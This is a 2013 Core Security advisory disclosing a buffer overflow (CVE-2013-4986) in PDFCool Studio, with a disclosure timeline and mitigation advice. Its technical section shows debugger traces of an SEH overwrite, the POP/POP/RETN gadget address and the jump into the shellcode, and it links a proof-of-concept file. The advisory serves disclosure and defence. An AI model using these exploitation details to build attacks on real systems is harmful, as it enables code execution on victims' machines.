PDFCool Studio Buffer Overflow Vulnerability

1. Advisory Information

Title: PDFCool Studio Buffer Overflow Vulnerability
Advisory ID: CORE-2013-0828
Advisory URL: http://www.coresecurity.com/advisories/pdfcool-studio-buffer-overflow-vulnerability
Date published: 2013-10-02
Date of last update: 2013-10-02
Vendors contacted: IconCool Software
Release mode: User release

2. Vulnerability Information

Class: Buffer overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-4986

3. Vulnerability Description

PDFCool Studio Suite [1], [2] is prone to a security vulnerability when processing PDF files. This vulnerability could be exploited by a remote attacker to execute arbitrary code on the target machine by enticing users to open a specially crafted PDF file (client-side attack).

4. Vulnerable Packages

  • PDFAX0722_IconCool.dll v7.22.1125.2121.
  • Other versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

There was no official answer from vendor after several attempts to report this vulnerability (see [Sec. 8]). As mitigation action, given that this is a client-side vulnerability, avoid to open untrusted PDF files. Contact vendor for further information.

6. Credits

This vulnerability was discovered and researched by Marcos Accossatto from CORE Exploit Writers Team.

7. Technical Description / Proof of Concept Code

Below is shown the result of opening the maliciously crafted PDF file [3] on Windows XP SP3 (EN):

$+A50C4  >  8B07              MOV EAX,DWORD PTR DS:[EDI]
$+A50C6  >  C740 14 1E000000  MOV DWORD PTR DS:[EAX+14],1E             ;   <== Exception - Tries to write to 909090A4
$+A50CD  >  8B5424 04         MOV EDX,DWORD PTR SS:[ESP+4]
$+A50D1  >  8950 18           MOV DWORD PTR DS:[EAX+18],EDX
$+A50D4  >  8BC7              MOV EAX,EDI
$+A50D6  >  8B10              MOV EDX,DWORD PTR DS:[EAX]

At that time, the EAX register contains the first DWORD of our shellcode:

EAX 90909090
ECX 000007B4
EDX 0012E190
EBX 048757D1
EBP 0012E064
ESI 000002F0
EDI 0012DF88
EIP 044760C6 PDFAX0~1.044760C6
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_NOT_ENOUGH_MEMORY (00000008)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.5000000000000000000
ST3 empty -2.9802320611338473100e-08
ST4 empty 1.0000000000000000000
ST5 empty 4.3980465111040000000e+12
ST6 empty 5.3123247893381160000e+15
ST7 empty 5.0609752291423027300e+17
               3 2 1 0      E S P U O Z D I
FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0  (GT)
FCW 137F  Prec NEAR,64  Mask    1 1 1 1 1 1

The stack's exception handler is overwritten with:

0012DE00   0000000A
  ....       ....
0012DF6C   0EDDE2F1
0012DF70   909006EB  Pointer to next SEH record
0012DF74   005D88EF  SE handler

In the address 005D88EF (the main executable module of PDFCool Studio) we have:

005D88EF    5D                POP EBP
005D88F0    59                POP ECX
005D88F1    C3                RETN

and the stack:

0012DA2C   7C9032A8  RETURN to ntdll.7C9032A8
0012DA30   0012DB14
0012DA34   0012DF70

So, the RETN of 005D88F1 will jump to 12DF70 (the stack) where our shellcode is located:

0012DF70   EB 06             JMP SHORT 0012DF78
0012DF72   90                NOP
0012DF73   90                NOP
0012DF74   EF                OUT DX,EAX                               ; I/O command
0012DF75   885D 00           MOV BYTE PTR SS:[EBP],BL
0012DF78   90                NOP 

which means the normal execution flow can be altered in order to execute arbitrary code.

8. Report Timeline

  • 2013-09-03: Core Security Technologies attempts to contact vendor using the IconCool official technical support contact page [4]. No reply received. Publication date is set for Sep 25th, 2013.
  • 2013-09-09: Core attempts to contact vendor.
  • 2013-09-16: Core attempts to contact vendor.
  • 2013-09-25: First release date missed.
  • 2013-10-02: Advisory CORE-2013-0828 published.

9. References

[1] http://www.iconcool.com/index.html.
[2] http://www.iconcool.com/instpdfcoolstudio.exe.
[3] http://www.coresecurity.com/system/files/attachments/2013/10/CORE-2013-0828-PDFCoolStudio-poc.zip.
[4] IconCool technical support page http://www.iconcool.com/support.htm.

10. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

11. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Published Date: 
Tuesday, October 1, 2013
Last Updated: 
Tuesday, October 1, 2013 - 12:15pm
Locally Exploitable: 
Remotely Exploitable: 
CVE Name: 
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